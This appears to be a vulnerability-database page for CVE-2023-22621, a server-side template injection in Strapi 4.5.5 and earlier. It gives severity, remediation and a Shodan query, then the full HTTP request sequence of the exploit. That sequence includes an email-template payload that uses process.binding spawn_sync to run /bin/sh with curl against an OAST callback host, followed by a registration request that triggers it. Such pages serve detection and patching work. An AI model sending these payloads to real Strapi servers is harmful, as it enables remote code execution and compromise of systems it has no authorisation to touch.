| Title | Strapi Versions <=4.5.5 - SSTI to Remote Code Execution |
|---|---|
| Author | iamnoooob,rootxharsh,pdresearch |
| Severity | High |
| Impact | Authenticated attackers with admin panel access can inject malicious template code in email templates that bypasses validation checks, executing arbitrary system commands on the Strapi server and potentially compromising the entire CMS platform. |
| Remediation | Update Strapi to version 4.5.6 or later that implements proper template validation and prevents code execution in email templates. |
| CVSS Score | 7.2 |
| EPSS Score | 0.82899 |
| CVE ID | CVE-2023-22621 |
| CWE ID | CWE-74 |
| Shodan Query | html:"Welcome to your Strapi app" |
| Tags | cve cve2023 strapi ssti rce intrusive authenticated vuln |
Strapi through 4.5.5 allows authenticated Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the server. A remote attacker with access to the Strapi admin panel can inject a crafted payload that executes code on the server into an email template that bypasses the validation checks that should prevent code execution.
POST /admin/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Content-Length: 50
Content-Type: application/json
Accept-Encoding: gzip
{"email":"FLnuKF@xSQmG.com","password":"CFY2Sq2A"}
PUT /users-permissions/advanced HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Connection: close
Content-Length: 165
Authorization: Bearer U3FxJH
Content-Type: application/json
Accept-Encoding: gzip
{"unique_email":true,"allow_register":true,"email_confirmation":true,"email_reset_password":null,"email_confirmation_redirection":"/","default_role":"authenticated"}
PUT /users-permissions/email-templates HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Connection: close
Content-Length: 1283
Authorization: Bearer U3FxJH
Content-Type: application/json
Accept-Encoding: gzip
{
"email-templates": {
"reset_password": {
"display": "Email.template.reset_password",
"icon": "sync",
"options": {
"from": {
"name": "Administration Panel",
"email": "no-reply@strapi.io"
},
"response_email": "",
"object": "Reset password",
"message": "<p>We heard that you lost your password. Sorry about that!</p>\n\n<p>But dont worry! You can use the following link to reset your password:</p>\n<p><%= URL %>?code=<%= TOKEN %></p>\n\n<p>Thanks.</p>"
}
},
"email_confirmation": {
"display": "Email.template.email_confirmation",
"icon": "check-square",
"options": {
"from": {
"name": "Administration Panel",
"email": "no-reply@strapi.io"
},
"response_email": "",
"object": "Account confirmation",
"message": "<%= `${ process.binding('spawn_sync').spawn({\"file\":\"/bin/sh\",\"args\":[\"/bin/sh\",\"-c\",\"curl d5jkjpple0o3kv0tm6303jzma394qaytb.oast.site\"],\"stdio\":[{\"readable\":1,\"writable\":1,\"type\":\"pipe\"},{\"readable\":1,\"writable\":1,\"type\":\"pipe\"/*<>%=*/}]}).output }` %>\n\n<p><%= URL %>?confirmation=<%= CODE %></p>\n\n<p>Thanks.</p>"
}
}
}
}
POST /api/auth/local/register HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15
Connection: close
Content-Length: 154
Content-Type: application/json
Accept-Encoding: gzip
{
"email": "38EtxtbXeIlHQPSfGV5ZRwfaAgU@MSuYh.com",
"username": "38EtxsEdMk8VB29rtKmFEtd3sTS",
"password": "38Etxy26eQ9HCN7NOBUxsATKCxw"
}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-22621.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-22621.pcap
N/AN/A